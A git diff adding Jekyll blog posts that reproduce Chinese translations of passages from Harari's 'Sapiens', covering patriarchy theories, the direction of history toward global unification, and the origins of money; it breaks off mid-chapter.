+我们并不能说，就因为女人体力较弱、睾固酮浓度较低，就不能做好官职、当好将军、搞好政府。虽然运筹帷幄确实需要一定体力耐力，但不需要力大如牛或是凶残无匹。战争可不是什么单纯的酒吧打架，需要非常复杂的组织、合作和安抚手段。真正胜利的关键，常常是能够同时安内攘外，并看穿他人思维（尤其是敌国的思维）。如果挑个只有蛮力、只想猛攻的人来打仗，常常就是一败涂地。更好的选择，是个能够合作、能够安抚、能够有不同观点的人。真正能建立起帝国的人，做的也就是这种事。像是奥古斯都虽然在军事上的才干远不及恺撒或亚历山大大帝，成就却非前人能及：建立起稳定而长久的帝国。他不但得到当时民众的推崇，也得到现代史学家的赞赏，这些人都认为，他的成就正是由于他具备了温柔宽厚的美德。 +一般说来，女人被认为比男人更八面玲珑，更懂得如何安抚他人，而且更能够从不同角度观看事情。如果这些刻板印象至少有部分是事实，那么女人就该是绝佳的政治家和帝国领袖，至于战场上的肮脏活，就交给那些睾固酮爆表、头脑简单四肢发达的肌肉男即可。只不过，虽然这是种很流行的讲法，但现实世界中却很少成真。至于原因，目前仍然不明。 +父权基因理论 +第三种想要从生物学解释父权制度的理论，并未将重点放在暴力或是蛮力上，而是认为在数百万年的演化过程中，男人和女人发展出了不同的生存和繁殖策略。对男人来说，得要彼此竞争才能得到让女人受孕的机会，所以个体想有繁殖的机会就看他能不能打败对手，比别的男人强。随着时间慢慢过去，传到后世的男性基因也就是那些最具野心、最积极、最好胜的男人。 +但另一方面，对女人来说，要找到个愿意让她受孕的男人完全不是问题。但如果说到要让孩子长大成人甚至为她生下孙子孙女，除了得怀胎十月，甚至还得再辛苦许多年，才能把孩子带大。而在这段时间，她要自己取得食物的机会就变少，另外还需要许多人的帮助。所以，她需要有个男人来帮忙。为了确保自己和孩子能够生存下去，女人只好同意男人提出的各种条件，好换取他一直待在身边、分担这个重担。随着时间慢慢过去，传到后世的女性基因也就是那些最顺从、愿意接受他人照顾的女人。至于花了太多时间争权夺利的女人，也就没有机会让那些好胜的基因万世流芳。 +根据这个理论，由于有不同的生存策略，男人的基因倾向是野心勃勃、争强好胜，擅长从政经商；女人的基因则倾向趋吉避凶，一生养育子女就心满意足。 +只不过，这种理论似乎在实际的证据上也说不通。最有问题的一点在于，这里认为女人需要外部协助的时候需要依赖男人，而不是其他女人，而争强好胜的男人就能在社会上占据领导地位。但有许多种动物（例如大象和倭黑猩猩）虽然也有需要依赖他人的雌性以及争强好胜的雄性，但发展出来的却是母系社会。正由于雌性需要外部帮助，所以它们更需要发展社交技巧，学习如何合作，给予彼此抚慰。于是，它们建构起了全为雌性的社会网络，帮助彼此养育后代。而这个时候，雄性动物还是继续把时间花在彼此战斗争胜，所以社交技巧和社会关系依旧低落。于是，在倭黑猩猩和大象的社会中，便是由互相合作的雌性组成强大的网络，主导全局，至于以自我为中心而又不合作的雄性，只能滚到一边去。虽然雌性的倭黑猩猩一般来说力气不如雄性，但如果雄性的倭黑猩猩做得过火了，就会被成群的雌倭黑猩猩合起来教训一番。 +如果倭黑猩猩和大象都做得到这一点，为什么智人做不到？相较之下，智人这种动物的力气又更弱，优势就在于能够大规模合作的能力。如果真是如此，就算女性确实需要依赖他人，而且就算女性确实需要依赖男人，她们也应该能运用较高明的社交技巧来互相合作，进而用策略来操纵打败更具侵略性、更自行其是、更以自我为中心的男人们。 +究竟是为什么，在一个以“合作”为成功最大要素的物种里，居然是比较没有合作精神的一方（男人）控制着应该比较善于合作的另一方（女人）？到目前为止，我们还没有很具说服力的答案。也许我们的预设是错的？搞不好，雄性智人的主要特点并不在于体力、侵略性或争强好胜，反而是有更佳的社交技巧，更善于合作？这点在目前仍无定论。 +但我们确实知道的是，人类的性别角色在20世纪已有了翻天覆地的变化。现在有越来越多社会让男女在法律、政治和经济上享有平等的地位、权利和机会。虽然性别差距依然显著，但情况正在以惊人的速度改变。1913年，美国有一批妇女站出来为女性要求投票权，当时大众还嗤之以鼻、视为荒唐，但谁想得到，到了2013年，美国最高法院竟有五位大法官（三女两男）投票赞成让同性婚姻合法化，否决了另外四位男性大法官反对的决定？ +正是这些戏剧性的变化，让性别的历史叫人看也看不清。现在我们已经清楚看到，父权制度其实并没有生物学上的基础，而只是基于毫无根据的虚构概念。但这么一来，又该怎么解释它为何如此普遍，而且稳固得难以撼动？ diff --git a/_posts/2017-01-06-201-sapiens-cp09.md b/_posts/2017-01-06-201-sapiens-cp09.md new file mode 100644 index 0000000..4b90d7f --- /dev/null +++ b/_posts/2017-01-06-201-sapiens-cp09.md @@ -0,0 +1,52 @@ +--- +layout: post +title: 第九章历史的方向 +pid: 201 +tags: [人类简史：从动物到上帝] +--- +第三部分 +人类的融合统一 +图17 朝圣者绕行着位于麦加圣寺内的卡巴圣堂（Ka'aba）。 + +第九章 +历史的方向 +农业革命之后，人类社会规模变得更大、更复杂，而维系社会秩序的虚构故事也更为细致完整。人类几乎从出生到死亡都被种种虚构的故事和概念围绕，让他们以特定的方式思考，以特定的标准行事，想要特定的东西，也遵守特定的规范。就是这样，让数百万计的陌生人能遵照着这种人造而非天生的直觉，合作无间。这种人造的直觉就是“文化”。 +在20世纪前半叶，学者认为每种文化都自成一格、和谐共存，而且都有独特的不变本质。每一群人都会有自己的世界观，和社会、法律及政治系统，而且各自运作顺畅，就像是行星绕着太阳一样。据这种观点，文化只要独立不受影响，就不会有所改变，而会依照原本的步调，朝向原本的方向持续下去。直到出现了外界力量干预，才会造成改变。所以，人类学家、历史学家和政治学家讲到“萨摩亚文化”（Samoan Culture）或“塔斯马尼亚文化”（Tasmanian Culture）的时候，语气都仿佛这些形塑萨摩亚和塔斯马尼亚的信仰、规范和价值从头到尾不曾改变。 +但现在，多数的文化学者都认定事情正好相反。虽然每种文化都有代表性的信仰、规范和价值，但会不断流动改变。只要环境或邻近的文化改变，文化就会有所改变及因应。除此之外，文化内部也会自己形成一股改变的动力。就算是环境完全与外界隔绝，生态也十分稳定，还是无法避免改变。如果是物理学的法则，绝不会有不一致的例外情形，但既然这些是人类自己想象创造出的秩序，内部就会有各式各样的矛盾。文化一直想弭平这些矛盾，因此就会促成改变。 +举例来说，中世纪欧洲的贵族既信奉天主教，又要遵守骑士精神。典型的贵族清晨就上教堂，听着神父滔滔不绝讲着圣人一生的故事。神父会说：“虚荣，虚荣，一切都是虚荣。财富、色欲和荣誉都是极危险的引诱，你绝不可同流合污，而要跟随耶稣的脚步。要像他一样谦和，要避免暴力和奢侈，而且如果有人打你的右脸，就把左脸也转过去。”于是，这位贵族回家的时候满怀内敛与谦和；但接着他就换上了最好的丝质衣服，前往领主的城堡参加宴会。城堡里觥筹交错，饮酒如流水，吟游诗人歌咏着中世纪的爱情故事，宾客聊着下流的笑话和血淋淋的战场情节。公爵大声宣告着：“一旦受辱，宁死不屈！如果有人竟敢质疑你的荣誉，就只有血能洗净这种侮辱。人生至乐，岂不就是要让敌人闻风窜逃，让他们美丽的女儿在你脚下颤抖？” +这种价值观的矛盾从来没办法完全解决，但是欧洲的贵族、教士、平民试图处理这些问题的时候，他们的文化也就随之改变。其中一次试着处理，结果就是引发了十字军东征。对于这些骑士来说，东征既能展现武力上的长材，也能展现宗教上的虔敬，可以说是一石二鸟。同样的矛盾也带来了种种骑士修会的成立，像是圣殿骑士团（Templar）和僧侣骑士团（Hospitaller），想让基督教和骑士理想更是合为一体。中世纪艺术和文学也常谈到这种矛盾，像是亚瑟王与圣杯的传奇便是一例。亚瑟王的宫廷难道不是总想告诉我们，优秀的骑士也该是个好的基督徒，而好的基督徒也能成为最优秀的骑士？ +另一个例子是现代的政治秩序。自从法国大革命之后，全球人民逐渐同意“自由”和“平等”都是基本的价值观。然而这两者根本就互相抵触！想要确保“平等”，就得限制住那些较突出的人；而要人人都能“自由”，也就必然影响所有人的平等。自从1789年法国大革命以来，全球政治史可以说就是讲述着要如何解决这种矛盾。 +只要读过狄更斯的小说，就知道19世纪的欧洲自由政体将个人自由奉为圭臬，即使这让付不出钱的贫困家庭只能犯罪被囚，孤儿被迫加入扒手集团，也在所不惜。就算到了现代美国，政治还是摆脱不了这种矛盾。民主党人希望社会更加平等，就算为了协助老弱病残必须增税也在所不惜。但这样一来，岂不是违反了民众支配收入的自由？如果我想把钱拿来供小孩读大学，为什么政府可以逼我非买健康保险不可？另一方面，共和党人希望让人人都享有最大的自由，就算会加大贫富差距，许多美国人将无力负担健康保险也在所不惜。但这样一来，平等也就成为空谈。 +正如中世纪无法解决骑士精神和基督教的矛盾，现代社会也无法解决自由和平等的冲突。但这也不是什么缺点。像这样的矛盾，本来就是每个人类文化无法避免的，甚至还可以说是文化的引擎，为人类带来创意、提供动力。就像两个不谐和音可以让音乐往前进，人类不同的想法、概念和价值观也能逼着我们思考、批评、重新评价。一切要求一致，反而让心灵呆滞。 +如果说每个文化都需要有些紧张、有点冲突、有无法解决的两难，才能让文化更加精彩，那么身处任何文化中的人就都必然有些互相冲突的信念以及互相格格不入的价值观。正因为这种情况实在太普遍，甚至还有个特定的名词来形容：认知失调（cognitive dissonance）。一般认为认知失调是人类心理上的一种问题，但这其实是一项重要的特性，如果人真的无法同时拥有互相抵触的信念和价值观，很可能所有的文化都将无从建立，也无以为继。 +举例来说，如果想深入了解那些在清真寺里祈祷的虔诚穆斯林，该做的不是去研究那些所有穆斯林都同意的教条，反而该是看看在穆斯林文化里有什么难解的矛盾，有哪些规定根本是自打嘴巴。就是在那些穆斯林自己都会感到左右为难的情境下，才能真正得到了解。 +用一种间谍卫星的高度…… +人类文化一直流动不休。但这种流动究竟是完全随机，或者其实有个整体模式？换句话说，历史有个大方向吗？ +答案是肯定的。几千年来，我们看到规模小而简单的各种文化逐渐融入较大、较复杂的文明中，于是世界上的大型文化数量逐渐减少，但规模及复杂程度远胜昨日。当然这是从宏观层面来看的粗略说法，如果从微观层面来看，每次几个文化融合成大型文化的时候，也可以看到大型文化的破碎解离。就像是蒙古帝国，虽然曾经雄霸亚洲甚至还征服了部分欧洲，但最后还是分崩离析。又像基督教，虽然信众数以亿计，但也分裂成无数教派。拉丁文也是如此，虽然一度流通中西欧，最后还是转化成各种当地方言，演化出各国的语言。然而，合久必分只是一时，分久必合才是不变的大趋势。 +想观察历史的方向，重点在于要用哪种高度。如果是普通的鸟瞰高度，看着几十年或几世纪的发展走向，可能还很难判断历史趋势究竟是分是合。要看更长期整体的趋势，鸟瞰高度便有不足，必须拉高到类似太空间谍卫星的高度，看的不是几世纪，而是几千年的跨度。这种高度能够让我们一目了然，知道历史趋势就是走向分久必合。至于前面基督教分裂或蒙古帝国崩溃的例子，就像是历史大道上的小小颠簸罢了。 +* * * +想清楚看到历史的大方向，最佳的办法就是数数看不同时期地球上究竟有多少种同时共存的文化。我们现在常认为整个地球就是一个单位，但在历史上的大多数时间，地球其实像是星系，各个人类文明各自构成不同的世界。 +让我们以澳大利亚南方的塔斯马尼亚岛为例，这是一个中等大小的岛屿，原本和澳大利亚大陆相连，但大约在公元前10000年，冰河期结束、海平面上升，于是它也成了岛屿。当时，数千名狩猎采集者就这样留在岛上，与其他人类断了连接。一直到19世纪欧洲人抵达之前，有12000年没有人知道塔斯马尼亚人存在，塔斯马尼亚人也不知道外面有其他人类。岛上的人自己有自己的战争，有自己的政治冲突，也有自己的文化发展。然而，如果你是当时中国的皇帝或美索不达米亚的统治者，对你来说，塔斯马尼亚的概念其实就像是木星：总之就是另外一个世界。 +美洲和亚洲也是如此，长久以来两个世界对彼此毫无知悉。像是在公元前4世纪到公元前3世纪左右，中国处于战国时代，群雄争霸；同时在中美洲，也有各个不同的玛雅文明互相竞逐。然而这两边的争斗却是完完全全毫不相干。对这些人来说，亚洲和美洲的分别，就像火星和金星一样。 +地球上到底曾经有多少不同的人类世界共存？大约在公元前10000年，地球上有数千个人类文明。但到公元前2000年，这个数字已经只剩下数百个最多也只有两三千个。至于到了公元1450年，这个数字更是急遽下降。当时即将进入欧洲探险时代，地球上仍然有许多像是塔斯马尼亚这样独立的“小世界”，但将近九成的人类都已经紧密相连，活在由亚洲和非洲组成的“亚非世界”里。当时，绝大部分的欧亚非（包括撒哈拉沙漠以南的一大片地区）已经有了紧密的文化、政治和经济连接。 +至于全球剩下的其他大约一成人口，大致上还能够分成四个具有相当规模和复杂程度的世界： +1. 中美洲世界：涵盖大部分中美和部分北美。 +2. 安第斯世界：涵盖大部分南美西部。 +3. 澳大利亚世界：涵盖澳大利亚大陆。 +4. 大洋洲世界：涵盖大部分太平洋西南的岛屿，从夏威夷到新西兰。 +地图3 公元1450年的地球。亚非世界里提到的地点，都是穆斯林旅行家伊本·白图泰（Ibn Battuta）曾到访的地方。他出生于摩洛哥的丹吉尔（Tangier），曾前往位于西非的廷巴克图（Timbuktu）、位于东非印度洋上的桑给巴尔岛（Zanzibar）、南俄罗斯、中亚、印度、中国和印度尼西亚。他所行经的各地，正是即将跨入现代、由亚洲和非洲所组成的世界。 +接下来300年间，巨大的亚非世界吞噬了所有其他世界。首先在1521年，西班牙征服了阿兹特克帝国，进入了中美洲世界。同时，麦哲伦的环球航行开始染指大洋洲世界，不久便彻底征服。1532年西班牙征服者打倒印加帝国，于是安第斯世界也不复存在。1606年欧洲人首次登上澳大利亚大陆，而等到1788年英国殖民开始，这个质朴的世界也宣告终结。15年后，英国人在塔斯马尼亚岛上设了第一个殖民地，于是最后一个原本独立的人类世界也就此并入了亚非的影响圈。 +确实，亚非世界这个巨人花了几百年才慢慢消化了它吞下的所有世界，但这个过程已经永远无法回头。今天几乎所有人类都接受同一套地缘政治体系（整个地球划分为不同的国家，但受到国际公认）；使用同样的经济制度（就算是地球上最偏远的角落，也受到资本主义市场经济的形塑）；采用一样的法律制度（至少在理论上，人权和国际法放诸四海皆准）；也接受同样的科学体系（不管在伊朗、以色列、澳大利亚还是阿根廷，专家对于原子结构或肺结核疗法的意见都会相同）。 +然而，全球文化虽然单一，却非同质。就像是单一的有机体有许多不同的器官和细胞，单一的全球文化也包含着许多不同类型的人和生活方式，既有纽约的股票经纪人，也有阿富汗的牧羊人。但不论如何，他们彼此都是密切相关，而且会以许多不同方式相互影响。虽然会有各种争斗，但他们争辩用的是同一套概念，战斗用的是同一套武器。严格来说，真正的“文明冲突”其实是“聋子式的对话”（dialogue of the deaf），也就是双方都不知道对方在讲什么。但像今天，伊朗和美国虽然针锋相对、剑拔弩张，但他们讲的都是民族国家、资本主义经济、国际权利以及核物理学这套语言。 + + +我们也常说有某些文化比较“纯正”，但如果所谓“纯正”指的是从头到尾的发展都从未有外界干扰，只有当地最古老的传统，那么全球早已没有纯正的文化。在过去几世纪中，全球化浪潮翻腾汹涌，几乎让所有文化改头换面，再也难窥原貌。 +全球化一个最有趣的例子是各种“异国”饮食（ethnic food，原意为“有民族特色的饮食”）。在意大利餐厅，似乎就该看到西红柿意大利面；在波兰和爱尔兰餐厅里，就该有很多马铃薯；在阿根廷餐厅，就该有几十种牛排可以选；在印度餐厅里，就该什么都要加辣椒；在瑞士咖啡馆里，就该有热巧克力，上面盖着像阿尔卑斯山一样高的鲜奶油。只不过，上面所有食物没有一项的原产地在这些国家。西红柿、辣椒和可可的原产地都在墨西哥，是西班牙人征服墨西哥之后才传到亚非。至于古罗马帝国的恺撒和意大利的但丁，也从来没用叉子卷起西红柿意大利面（当时甚至连叉子也还没发明！），瑞士的威廉·泰尔（William Tell）从来没吃过巧克力，至于印度的佛陀也未曾在食物里加过辣椒。马铃薯一直要到400年前才传到了波兰和爱尔兰。在1492年，阿根廷完全没有牛排，只有骆马排。 +在好莱坞电影里，平原印第安人总是英勇地骑着马冲向欧洲人的篷车，大无畏地守护着祖先的传统。然而，骑着马的美国原住民可不是什么纯正古老的传统形象，是在17、18世纪，欧洲马传到了北美之后，才让整个北美平原的军事和政治起了翻天覆地的变化。1492年，美洲还没有马。虽然苏族（Sioux）和阿帕契人（Apache）在19世纪有许多看来威风八面的特色，但这其实是个现代文明、全球化的产物，说不上什么“纯正”。 +全球视野 +从实际观点看，全球融合最关键的阶段就是过去这几个世纪。各大帝国成长，全球贸易强化，亚洲、非洲、美洲和大洋洲的人类形成紧密连接，于是印度菜里出现了墨西哥的辣椒，阿根廷的草原上漫步着来自西班牙的牛。但从意识形态观点，公元前的1000年间慢慢发展出“世界一家”的观念，这点的重要性也绝对不在其下。在这先前的数千年间，历史确实是朝向全球融合统一的方向迈进，但对大部分人来说，还是难以想象世界一家、全球为一的概念。 +智人从演化学到了区分“我们”和“他们”。自己身边的这群人就是“我们”，而所有其他人就是“他们”。事实上，世界上没有什么社会性动物会在意所属物种的整体权益。没有哪只黑猩猩在意整体黑猩猩物种的权益，没有哪只蜗牛会为了全球蜗牛社群举起一只触角，没有哪只狮群首领会说要成为全球的狮子王，也没有哪个蜂窝会贴标语写着：“全球的工蜂联合起来！” +但在认知革命开始后，智人在这方面就和其他动物大不相同。和完全陌生的人合作成了家常便饭，而且还可能觉得这些人就像是“兄弟”或是“朋友”。只不过，这种兄弟情也有限度。可能只要过了隔壁山谷或是出了这座山，外面的人就还是“他们”。大约在公元前3000年，美尼斯（Menes）统一埃及，成了第一位法老王。对埃及人而言，“埃及”有明确的边界，外面都是些奇怪、危险、不值得注意的“野蛮人”，大不了就是拥有一些土地或自然资源（前提还是埃及人想要）。然而，所有这些想象出的边界，其实都是把全人类的一大部分给排除在外。 +公元前的1000年间，出现了三种有可能达到全球一家概念的秩序，相信这些秩序，就有可能相信全球的人类都“在一起”，都由同一套规则管辖，让所有人类都成了“我们”（至少有这个可能），“他们”也就不复存在。这三种全球秩序，首先第一种是经济上的货币秩序，第二种是政治上的帝国秩序，而第三种则是宗教上的全球性宗教，像是佛教、基督教和伊斯兰教。 +商人、征服者和各教先知是最早跳出“我们”和“他们”这种二元区分的人。对商人来说，全球就是一个大市场，所有人都是潜在的客户。他们想建立起的经济秩序应该要全体适用、无处不在。对征服者来说，全球就是一个大帝国，所有人都可能成为自己的属民。对各教先知来说，全球就该只有一个真理，所有人都是潜在的信徒，所以他们也是试着要建立起某种秩序，希望无论谁都能适用。 +在过去的3000年间，人类有越来越多雄心勃勃的计划，想要实现这种世界一家的概念。接下来的三章中，我们就要一一讨论货币、帝国和全球宗教是如何传播，又如何建立起全球一家的基础。第一个要谈的，就是史上最伟大的征服者。这位征服者极端宽宏大量，手段又灵活无比，让人人都成了虔诚狂热的信徒。这位征服者就是金钱。在这世界上，大家讲到不同的神就易有争执，说到不同的王也可能大打出手，但用起一样的钱却是和乐融融。例如本·拉登，他恨美国文化、恨美国宗教、恨美国政治，但用起美元倒是十分顺手。究竟金钱有什么魔力，竟然能完成连神和君王都做不到的事？ diff --git a/_posts/2017-01-06-202-sapiens-cp10.md b/_posts/2017-01-06-202-sapiens-cp10.md new file mode 100644 index 0000000..a149dd5 --- /dev/null +++ b/_posts/2017-01-06-202-sapiens-cp10.md @@ -0,0 +1,66 @@ +--- +layout: post +title: 第十章金钱的味道 +pid: 202 +tags: [人类简史：从动物到上帝] +--- +第十章 +金钱的味道 +1519年，墨西哥原本还是个遗世独立的人类社会，但来自西班牙的殖民者荷南·科尔特斯（Hernán Cortés）一行人大举入侵。这里的人自称阿兹特克人，很快就发现这些外来的西班牙人看到某种黄色金属就眼睛为之一亮，思思念念，三句不离。阿兹特克人也不是不懂黄金。黄金色泽美丽，又容易加工，所以他们常用来制作首饰和雕像。阿兹特克人偶尔也用金粉来交易，但一般想买东西的时候，通常还是用可可豆或布料来付账。所以，看到西班牙人对黄金如此痴迷，他们实在是一头雾水。毕竟，黄金不能吃、不能喝、不能织，想当作工具或武器，质地又太软，究竟为什么西班牙人为之如此疯狂？面对当地人的疑惑，科尔特斯表示：“我们这群人有种心病，只有金子能医。”51 +对于这些西班牙人出身的亚非世界来说，对黄金的痴迷还确实是种流行病。就算是最针锋相对的死敌，都同样贪恋着这种黄色金属。在入侵墨西哥的3个世纪前，科尔特斯一行人的祖先曾对伊比利亚半岛和北非的穆斯林王国发动一场血腥的宗教战争。基督和安拉的子民互相残杀，死亡数以千计，田野和果园满目疮痍，繁华的城市成了余烬中的废墟。而据说，这一切都是为了荣耀基督或是安拉。 +随着基督徒逐渐占了上风，他们宣告胜利的方式不只是摧毁清真寺而盖起教堂，还发行了新的金币银币，上面印有十字架符号，也标注着感谢主帮助他们打倒异教徒。然而，除了新货币之外，这些胜利的基督徒还铸造了另一种方形硬币，称为“米拉雷斯”（millares），上面的信息稍有不同，用阿拉伯文写着：“安拉是唯一的真神，穆罕默德是安拉的使者。”（但这可是基督徒征服者所铸！）甚至在南法，天主教位于莫吉奥（Melgueil）和阿格德（Agde）的主教也发行了当地流行的穆斯林硬币，虽然这些教徒敬畏上帝，但用起这些钱来可没有半点儿的心理障碍。52 +而对另一边的人而言，自然也是同样宽容大方。在北非的穆斯林商人也用基督教的硬币，例如意大利佛罗伦萨发行的弗罗林（florin），威尼斯发行的达克特（ducat），以及那不勒斯发行的吉里亚托（gigliato）。就算是那些高喊要发动圣战、打倒异教基督徒的穆斯林统治者，收税的时候也还是十分乐意收到印着耶稣和圣母马利亚的硬币。53 +这要怎么算？ +狩猎采集者完全没有金钱货币的概念。每个部落自给自足，不管是从肉类到药品、从鞋子到巫术，有需要就自己去猎，自己去采，自己去做。虽然不同的部落成员可能有不同的专长，但他们用人情和义务组成经济体系，分享着种种产品和服务。像是拿一块肉虽然不用付钱，但以后还是得有像是免费治病之类的对等回馈。每个部落都是独立的经济体；只有少数当地无法取得的稀有物品（例如贝壳、颜料、黑曜石），才得从陌生人那里取得。而且通常可以用简单的以物易物处理：“我们把这些漂亮的贝壳给你们，你们就把上好的燧石给我们。” +农业革命一开始，情况并没有多大改变。大多数人的生活形态仍然是小而紧密的社群，一如狩猎采集的部落，每个村都是自给自足的经济体，靠的就是互相帮忙、互通人情，再加上一点点与外界的以物易物交易。可能有某位村民特别擅长做鞋，某位又特别懂得治病，所以村民都知道没鞋穿或不舒服的时候该找谁。只不过，各个村庄的经济规模都太小，所以还养不起专职的鞋匠或医生。 +等到城市和王国兴起，交通基础设施改善，终于开始了专业化的新契机。人口稠密的城市开始能够养活专业工作者，除了鞋匠、医生，还能有木匠、牧师、战士、律师等等。有些村庄开始因为美酒、质量佳的橄榄油或是精致的陶器而闻名，他们也开始发现只要专精此道，再与其他村庄交换货品，就足以让他们生活无虞。这太有道理了。本来各地的气候和土壤就不同，如果自家后院酿出的酒就是粗劣平庸，而从其他地方买来的酒更香醇柔顺，何乐而不为？而自家后院的黏土如果能做出更坚硬、更美丽的陶盆，就能拿它来交易。而且，还能养出专职的酿酒师和陶艺家，医生和律师更不在话下，他们能够不断磨炼专业知识，最后就能造福全人类。但随着专业化，也出现了一个问题：各种不同专家制作的货品，究竟该怎么交易？ +如果今天是一大批的陌生人聚在一起要合作，光靠人情义务的经济制度就再也行不通。给兄弟姐妹或是邻居帮帮忙当然没问题，但如果是个外国人，就算这次帮了他，但可能再也见不到面，也就得不了回报。面对这种情形，一种做法是回到以物易物。只不过，这只有在货品数量有限的时候比较有效，而无法成为复杂经济制度的基础。54 +为了要说明以物易物的局限性，我们假设你住在某个山上，这是附近最适合种苹果的地方，种出的苹果又脆又甜、无人能比。你整天都在果园里辛苦工作，鞋子都穿破了。于是，你把驴套上驴车，前往河边的市集。邻居说市集南边有个鞋匠，上次跟他换的鞋真是坚固耐穿，足足穿了一年多才坏。于是你找到了这位鞋匠的店面，告诉他，想用苹果跟他换双鞋。 +但鞋匠这时面露难色。他不知道自己到底该收多少苹果。每天他都会有几十个客人找上门，有人带的是几麻袋的苹果，有人带的是小麦、山羊或布匹，而且质量高下不一，并不稳定。甚至有些人说自己能换的是帮他向国王说情或是帮他治治背痛。上次鞋匠用鞋换苹果已经是三个月前的事了，当时是三袋苹果换一双鞋。还是四袋？他都快忘了。不过仔细一想，上次那些苹果是种在专产酸苹果的山谷，而这次的可是种在绝佳的山上啊。还有，上次那些苹果换的是一双小的女鞋，但这家伙要的可是双大男人穿的靴子呢。此外，最近几个星期附近的羊都病倒了，能用的羊皮越来越少。皮匠说，现在想要一样数量的皮革，得拿两倍的鞋子来换。这是不是也该列入考虑？ +在以物易物的经济里，不管是鞋匠还是种苹果的，每天都得搞清楚几十种商品的相对价格。如果市场上有100种不同的商品，把汇率列出来就足足有洋洋洒洒的4950条。如果市场上有1000种不同的商品，汇率更足足有499500条！55这怎么可能记得起来？ +而且这还不算最糟的。就算真让人算出了几袋苹果值一双鞋，以物易物还不一定成功。毕竟，想要交易也得双方合意。如果现在鞋匠不想吃苹果，而正忙着找人帮忙打离婚官司，该怎么办？确实，种苹果的可以找个喜欢吃苹果的律师，达成一桩三方交易。但如果律师也吃够苹果了，现在是该剪个头发，又要怎么办？ +某些社会的解决方式，就是建立起集中的以物易物系统，分别从各个专业的农夫和制造商那里取得产品，再统一分配到最需要的人手上。这种社会规模最大、名声最着的就是苏联；不过最后可以说是凄惨收场。原本声称要让人人“各尽所能、各取所需”，但结果是“各尽所能的最小值，各抢所需的最大值”。其他地方也曾经有些比较中庸，结果也比较成功的试行制度，像是印加帝国便是一例。然而，大多数社会都是用一种更简单的方法，在各个专家之间建立连接：他们发明了“钱”的概念。 +贝壳和香烟 +曾经在许多地方、许多时间点，人类都曾发明过钱的概念。这需要的不是什么科技上的突破，而是想法上的革新。可以说是人们又创造了另一个存在于主体间的概念，只存在于人们共同的想象之中。 +这里说的钱指的是概念，而不只是硬币或钞票。不论任何物品，只要是人类愿意使用、能够有系统地代表其他物品的价值，以作为物品或服务交换之用，就可以说是符合了钱的概念。钱让我们能够快速、方便地比较不同事物的价值（例如苹果、鞋子甚至离婚这件事），让我们能够轻松交换这些事物，也让我们容易累积财富。钱的类型很多。我们最熟悉的是硬币，这就是种标准化、上面印了文字或图像的金属。但早在硬币发明之前，钱的概念就已存在，许多文化都曾以其他物品作为钱来使用，包括贝壳、牛角、兽皮、盐、谷物、珠子、布料以及欠条。大约4000年前，整个非洲、南亚、东亚和大洋洲都是用贝壳来交易。就算到了20世纪初，英属乌干达还是能用贝壳来缴税！ +至于在现代监狱和战俘营里，常常是用香烟来当作钱。在里面，就算你不抽烟，也会愿意接受别人用香烟来付账或是计算各种商品和服务的价值。一位纳粹奥斯维辛集中营（Auschwitz）的幸存者就描述过集中营里如何用香烟当作货币：“营里有自己的货币，而且没有人觉得不合理：香烟。所有东西都用香烟来计价……‘正常’的时候（也就是大家进毒气室的频率稳定的时候），一条面包是12支香烟，一包300克的人造黄油是30支，一只表值80到200支，一升的酒可得花上400支！”56 +事实上，就算是现在，大部分的钱也不是以硬币或钞票的方式存在。全球金钱总和为60兆美元，但所有硬币和钞票的金额加起来还不到6兆美元。57换句话说，所有的钱有超过九成（超过50兆美元！）都只是显示在计算机上的数字而已。正因如此，大多数的商业交易其实只是把某台计算机里的电子数据搬到另一台去，而完全没有任何实体金钱的交换。大概只有逃犯要买房子的时候，才会提着一大皮箱的钱出现。而只要大家都愿意接受电子数据交易，就会比闪亮的硬币或簇新的钞票更方便，不仅更轻、更易携带，还更容易记录留存。 +出现了复杂的商业系统之后，金钱的概念更是不可或缺。有了金钱的概念，鞋匠只要记得哪种鞋开价多少，不用一一记住鞋子换成苹果或山羊之间的汇率。而且，因为金钱人人都想要，所以苹果达人也不用再去一一询问最近哪个鞋匠才想吃苹果。或许，“人人都想要”正是金钱最基本的特性。人人都想要钱，是因为其他人也都想要钱，所以有钱就几乎可以换到所有东西。鞋匠之所以永远都乐意收钱，是因为不管他当时想要什么（苹果、山羊或是离婚），只要有钱几乎都换得到。 +于是，金钱就成了共通的交易媒介，几乎任何东西之间都能完成交换。于是，志愿军人退伍的时候，拿着退职金去上大学，可以说就是用体力来换脑力。而男爵出售土地城堡来养活家臣手下，就是用物业来换忠诚。医师拿病人看病的钱来聘任律师（或是贿赂法官），就是用健康来换正义。甚至像是15世纪的妓女，她们先和男人上床取得报酬，再用钱来买天主教教会的赎罪券，就是用性来换取救赎。 +理想的金钱类型不只能用来交换物品，还能用来累积财富。各种贵重的事物当中，有的根本无法储存（像是时间或美貌），有的只能储存一段很短的时间（像是草莓），也有的虽然能久放，但却得占用大量空间，或是需要昂贵的设备和照顾。举例来说，谷类虽然可以保存多年，但需要有大型的谷仓，还得小心防鼠、防霉、防水、防火、防贼。而有了钱之后，不管用的是钞票、计算机数据还是贝壳，都能解决这些问题。像是贝壳，既不会腐烂，老鼠啃不太动，不怕火烧，而且也小到可以轻松锁在保险箱里。 +然而，有了财富之后不只要储存累积，更要能用得愉快，所以往往需要从一地带到另一地。某些形式的财富（如房地产）完全无法带到另一个地方，而像是小麦和稻米之类的产品，运送也很困难。想象一下，如果有个富有的农民，住在一个没有金钱概念的国家，正打算搬到另一个远方省份。他的财富主要就是房子和农地，不过这要怎么带得走？就算把地全换成了好几吨的稻米，想要带走不但十分笨重，很可能还得为此付出很大代价。有了金钱概念，就能解决这些问题。农民可以把一大片土地换成一袋贝壳，这下不管到哪里都能方便携带。 +正因为有了金钱概念，财富的转换、储存和运送都变得更容易也更便宜，后来才能发展出复杂的商业网络以及蓬勃的市场经济。要是没有钱，市场和商业网络的规模、活力和复杂程度都必然相当有限。 +金钱的运作原理？ +不管是贝壳还是美元，它们的价值都只存在于我们共同的想象之中。光是它们的化学结构、颜色或是形状，并无法带来那些价值。换句话说，金钱并不是物质上的现实，而只是心理上的想象。所以，金钱的运作就是要把前者转变为后者。不过，究竟为什么这能成功？原本有的是一大片肥沃的稻田，为什么会有人愿意换成一小把根本没用的贝壳？为什么有人会愿意辛苦地煎汉堡排、拉保险或是帮忙照顾三个精力过剩的小孩，只为了换来几张彩色的纸？ 